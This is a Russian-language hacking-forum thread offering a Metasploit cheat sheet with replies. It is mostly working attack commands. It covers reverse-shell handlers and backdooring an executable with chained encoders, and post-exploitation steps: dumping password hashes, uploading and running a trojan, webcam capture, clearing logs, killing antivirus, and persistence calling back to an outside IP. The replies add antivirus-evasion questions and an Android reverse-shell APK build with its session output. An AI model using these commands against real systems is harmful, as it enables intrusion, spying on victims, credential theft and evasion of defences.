Metasploit

Discussion in 'Песочница' started by SooLFaa, 21 Sep 2016.

  1. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Всем привет. Пришлось позаморачиваться с метасплоитом и решил сделать несколько заметочек.
    Я не буду в миллионный раз повторять, то, что уже написано на форуме о метасплоите.
    Что это почитать можно здесь и ещё огромная куча тем.
    В данной статье я пользовался поиском и старался писать о том о чем еще не написано здесь.
    Далее ссылочки из трёх книженций откуда впринципе и взята эта информация
    METASPLOIT UNLEASHED
    Metasploit Penetration Testing Cookbook
    Metasploit The Penetration Tester’s Guide
    Для кого статья?
    В первую очередь для меня. =)
    А так же всем тем, кто уже знаком с фреймворком, хотя гуру врядли для себя что - то найдут.

    Поехали. Метасплоит это в первую очередь фабрика сплоитов, средство которое позволяет создавать и использовать свои сплоиты (запуск уже готовых это меньшее, что он может). Поэтому всё что есть в нём можно использовать и без него. Для примера вот отличная статья эксплоита Buffer over Flow (позже напишем и об этом что - нибудь).

    msfcli - довольно удобная штука, когда одно действие приходится запускать часто (у меня это запуск листенера)
    Традиционный способ
    Code:
    msfconsole или msfconsole '-x use exploit/multy/handler'
    use exploit/multy/handler
    SET LHOST наш хост
    SET LPORT наш порт, который слушаем.
    SET PAYLOAD windows/meterpreter/reverse_tcp (пэйлоадах чуть ниже)
    exploit
    Тоже самое
    Code:
    - msfcli exploit/multi/handler LHOST=host LPORT=1337 PAYLOAD=windows/meterpreter/reverse_tcp E
    Какие есть флаги у этой штуки например (O показать опции, E exploit) предлагаю самим разобраться.
    Едем дальше
    SETG - очень удобная команда когда мы хотим раз и навсегда (на всё время работы с метасплоитом) установить какие то значения LHOST, LPORT, PAYLOAD, ENCODER и т.п.
    Code:
    msf> setg LHOST 192.168.1.0
    msf> save
    При генерации сплоита все знают о set payload, но мало кто вспоминает о set encoder - это по сути небольшой крипт для сплоита (не панацея от антивирусов, здесь уже могущество других
    фреймворков), но в некоторых случаях помочь может хотя бы от тех кто захочет полезть в Ваш билд или слушать сокет.

    -> show encoders - Список активных енкодеров

    В основном их названия говорят за себя
    Code:
     cmd/generic_sh
    generic/none The "none" Encoder
    mipsbe/longxor XOR Encoder
    ................................
    x86/unicode_mixed Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper Alpha2 Alphanumeric Unicode Uppercase Encoder 
    Можно комбинировать енкодеры командой +
    Code:
    msfencode -t exe -x sol.exe -k -o sol_bdoor.exe -e x86/shikata_ga_nai + mipsbe/longxor -c 3
    где, c - количество итераций.

    -> show auxiliary Здесь есть практический всё, и smb_scan, и portscan, и pivoting. Эта категория содержит в себе не совсем сплоиты а скорее вспомогательные модули, для разведки, фазинга, брутфорса и т.п.
    Однако значительную долю умеет тот же nmap и другие более легковестные вещи. Поэтому я не увидел применения например auxiliary(posrtscan) когда есть старый добрый db_nmap со всеми возможностями, плюс добавления в базу метасплоита, но есть и интересные вещи например "admin/cisco/ios_http_auth_bypass". Заострять внимание на этом не будем. Очень советую вспоминать об этом;

    -> show payloads - Вывод всех полезных нагрузок.
    Конечно большинство из нас привыкло к старому доброму метрпретеру и это оправдано. Шел с огромной кучей возможностей, достаточно удобный и лаконичный, но иногда нужно что то более
    легковесное или под другую архитектуру.

    Виды payloads.
    Single
    - одиночное выполнение любой команды (например на языке C# Process.Start("calc.exe") - вызов калькулятора).
    Stagers (windows/shell_bind_tcp) - Во первых этот тип пэйлоадов более легковесный, соответственно более надежный (держать включенной сессию ncat куда проще чем сессию метерпретер), меньший риск потери соединения.
    Stages - Наиболее тяжелые нагрузки, здесь же наш могучий метрпретер, суть этого вида нагрузок, что он загружается не сразу весь а поэтапно, имеет как правило обширный функционал(meterpreter). К недостаткам можно отнести большой объем занимаемой оперативной памяти.

    Генерация payload
    (полезно, когда надо использовать в своем коде)
    Code:
     msf > use payload/windows/shell/bind_tcp
    .............Устанавливаем параметры........................
    msf payload(bind_tcp) > generate
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
    "\x30\x8b\x..............\x01\xc3\x29\xc6\x85" + "\xf6\x75\xec\xc3" 
    Далее эту строку можно впиливать в любую программку или просто кидать в сокет.
    Далее поговорим о метерпретере (хотя это всё это можно проделать и не только в нём);
    Мы получили доступ к системе, всё очень здорово, и какие дальнейшие шаги можно предпринять?

    hashdump - Старый добрый файл SAM
    migrate - Первое с чего лично я начинаю (а точнее уже автоматизировал сей процесс) - это миграция. Процесс теперь не висит сам по себе, а выглядит как отдельный поток, прилепившейся к другому процессу. И может стать не убиваемым.
    shell - Переход в командный режим
    upload evil_trojan.exe c:\\windows\\system32 - Как Вы догодались отправка файлать мигра
    execute -f evil_trojan.exe -i -H - а затем его выполнение
    webcam_snap -i 1 -v false - Сфоткаемся на вебку. где i- время ожидания в секундах
    clearev - Очистить журнал
    use sniffer - снииффер трафика.
    sniffer_start 1 - запуск сниффера с активной сетевой карты
    sniffer_dump - снять полученные пакеты
    route add 10.211.55.0 255.255.255.0 1 - Добавить маршрут, полезно для того чтобы бегать от сети к сети
    run checkvm - А вот как раз узнать находимся ли мы на виртуалке.
    run getcountermeasure - проверка на защищенность системы, может даже что и удастся отрубить(фаерволл, антивирь).
    run killav - убийца антивирусов.
    run getgui - Включает (а точнее пытается) включить rdp'шечку
    run gettelnet - без комментариев
    run get_local_subnets - получить имя подсети
    run hostsedit -e 10.211.55.162,www.microsoft.com, известный факт, что первое куда смотрит компьютер, чтобы получить ip доменного имени - это файл hosts, и только если там нет обращается к серверу. Что с этим делать вариантов много.
    run remotewinenum - Сборщик информации О СИСТЕМЕ
    run scraper - ЕЩЁ БОЛЬШЕ ИНФОРМАЦИИ О СИСТЕМЕ
    run metsvc - примитивный бэкдор, постоянно отваливается, а за NAT'ом вообще не работает.
    run persistence -U -i 5 -p 1342 -r 62.102.1.1 - вот это штука заставляет жертву подключаться к вам каждые 5 секунд.
    portfwd add -l 80 -p 80 -r 192.168.0.101 - Проброс нужных нам портов с другого хоста подсети.

    И это не всё. Список всех пост модулей можно глянуть командой show posts

    Как же нам сгенерировать свою полезную нагрузку?
    Code:
    msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f exe
    где -e тип енкодера, а i - кол-во итераций, но имейте ввиду что stagers нагрузки менее заметны для антивирусов, чем satges.

    Автоматическая подгрузка сценариев:
    Итак, допустим, мы хотим, чтобы при получении сессии сразу выполнялось повышение привелегий на атакуемой Windows машине через
    известный сплоит bypass_uac
    Без лишних слов, просто как это сделать:
    Code:
    use <name exploit>
    set LHOST <inner_ip>
    ..................
    set PAYLOAD <pyaload_meterpreter>
    set AUTORUNSCRIPT exploit/windows/local/bypassuac
    Вот как раз последняя строчка и отвечает за то что подгрузить при успешной создании сессии.
    Альтернативная переменная InitialAutoRunScript, которой просто нужно дать команду для пост эксплуатации.
    Пример: set InitialAutoRunScript 'migrate -f'

    Свои сценарии
    Пришло время автоматизировать процесс и написать свой сценарий для метрпретера.
    Существует возможность загнать в файл уже заранее известный алгоритм команд метасплоита и выполнить его
    с помощью rc скриптов. Причем такие скрипты могут включать в себя как код на руби (свои какие то действия), так и возможности
    метаплоита.
    Попробуем создать файл scanner.rc (так как я не спецаилист руби, то пример взят отсюда http://lockboxx.blogspot.ru/2013/06/scripting-metasploit-easy-resource.html)
    Выглядит скрипт руби так

    Code:
    #calling ruby
    < ruby >
    run_single("db_nmap -sU -sS -Pn -n --script=smb-check-vulns.nse,samba-vuln-cve-2012-1182 --script-args=unsafe=1 -p U:135,T:139,445 #{framework.datastore['RHOSTS']}")
    run_single("db_nmap -sS -Pn -n --script=ftp-vuln-cve2010-4221.nse -p 21 #{framework.datastore['RHOSTS']}")
    run_single("services #{framework.datastore['RHOSTS']}")
    run_single("vulns #{framework.datastore['RHOSTS']}")
    < / ruby >
    И вызываем его в консоли метасплоита командой resource scanner.rc

    Другой листинг

    Code:
    #chaining common scanners
    use auxiliary/scanner/snmp/snmp_enum
    run
    use auxiliary/scanner/snmp/snmp_login
    run
    use auxiliary/scanner/snmp/snmp_enumusers
    run
    use auxiliary/scanner/snmp/snmp_enumshares
    run
    use auxiliary/scanner/nfs/nfsmount
    run
    use auxiliary/scanner/vnc/vnc_none_auth
    run
    Аналогично предыдущему, но уже предопределенные настройки метасплоита необходимо установить командой setg.


    База данных метасплоита
    После создания подключения к базе данных первое что мы можем сделать проверить статус командой db_status.
    Рассмотрим основные действия в базе:
    workspace - отдельное хранилище. Именно воркспейсы хранят в себя отдельные результаты сканирования сети или подсети.
    workspace lab1 - переключает текущее рабочее пространство на lab1;
    workspace -a laba1 - создание рабочей области (сохраняет все результаты сканирования сохранены здесь)
    db_nmap добавить в базу хост с помощью сканера nmap (об этом можно почитать здесь)
    hosts - Выводить информацию о хостах в различном виде;
    services - Выводить информацию о сервисах в различном виде;
    loot - сохранение дампа хэш-файла операционной системы

    Далее поговорим о Карметасплоите, wmap (устаревший модуль для сканирования веб приложений), интеграция с nessus, nexpose, beef, empire и созданию своих сплоитов (не зеро дей :))))).

    Всем спасибо! Недочеты и аргументированная критика есть гуд.
     
    _________________________
    #1 SooLFaa, 21 Sep 2016
    Last edited: 21 Sep 2016
    eminlayer7788, Lam3rsha, K800 and 8 others like this.
  2. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    1,011
    Likes Received:
    1,192
    Reputations:
    62
    Очень позновательный топик...
    У меня вопрос к ТС'у , есть ли какие комбинации енкодера которые не палятся антивирем?
    Увиличивал кол-во интераций один фиг удаляется...
     
  3. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Спасибо, Я на самом деле, в последнее время на другом борде зависаю, вот тут моя статья о том как забайпассить AV msf - payload с помощью C#. https://codeby.net/forum/threads/av-bypass-s-pomoschju-c.58637/
     
    _________________________
    Kevin Shindel likes this.
  4. Kevin Shindel

    Kevin Shindel Elder - Старейшина

    Joined:
    24 May 2015
    Messages:
    1,011
    Likes Received:
    1,192
    Reputations:
    62
    Спасибо, буду изучать.
     
  5. Fujiko Mine

    Fujiko Mine Member

    Joined:
    3 Nov 2015
    Messages:
    40
    Likes Received:
    12
    Reputations:
    0
    в общем вроде делаю всё по сценарию:
    ОС Kali 2
    мой_ip=192.168.0.103

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=8080 R > /var/www/shell.apk
    msfconsole
    use exploit/multi/handler
    set payload android/meterpreter/reverse_tcp
    set lhost 192.168.0.103
    set lport 8080
    exploit

    собственно потом вижу это:

    [*] Started reverse TCP handler on 192.168.0.103:8080
    [*] Starting the payload handler...
    [*] Sending stage (63194 bytes) to 192.168.0.100
    [*] Meterpreter session 1 opened (192.168.0.103:8080 -> 192.168.0.100:54636) at 2017-01-04 15:46:03 +0000
    [*] 192.168.0.100 - Meterpreter session 1 closed. Reason: Died
    [-] Invalid session identifier: 1

    интересны возможные причины и способы их обойти/устранить
     
  6. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Отваливается сессия. Причин тому может быть много. Попробуй с AutoRun поиграться.
     
    _________________________
  7. Fujiko Mine

    Fujiko Mine Member

    Joined:
    3 Nov 2015
    Messages:
    40
    Likes Received:
    12
    Reputations:
    0
    Если не затруднит, напиши пожалуйста готовый пример этой строки :)
    не совсем понятно когда выполнять данную операцию
     
  8. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    у жертвы фаерволл 1) пробуй сразу мигрейт сделать 2)
     
  9. Fujiko Mine

    Fujiko Mine Member

    Joined:
    3 Nov 2015
    Messages:
    40
    Likes Received:
    12
    Reputations:
    0
    тоже попрошу написать готовый пример (показать на пальцах), если не затруднит :)
     
  10. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Не сори, я точно писать не буду. Экспериментируйте :D
     
  11. SooLFaa

    SooLFaa Members of Antichat

    Joined:
    17 Mar 2014
    Messages:
    530
    Likes Received:
    499
    Reputations:
    154
    Code:
    set AutoRunScript post/windows/manage/migrate
     
    _________________________
  12. nynenado

    nynenado Member

    Joined:
    30 Oct 2019
    Messages:
    89
    Likes Received:
    11
    Reputations:
    0
    А я всегда запускаю мету
    Code:
    msfdb run 
     
  13. Shawn1x

    Shawn1x Elder - Старейшина

    Joined:
    24 Aug 2007
    Messages:
    307
    Likes Received:
    536
    Reputations:
    13
    можно такой же гайд по кобльтр стриск
     
    nynenado likes this.
Loading...
Similar Threads - Metasploit
  1. Dobi768
    Replies:
    14
    Views:
    4,371
  2. Dobi768
    Replies:
    20
    Views:
    5,096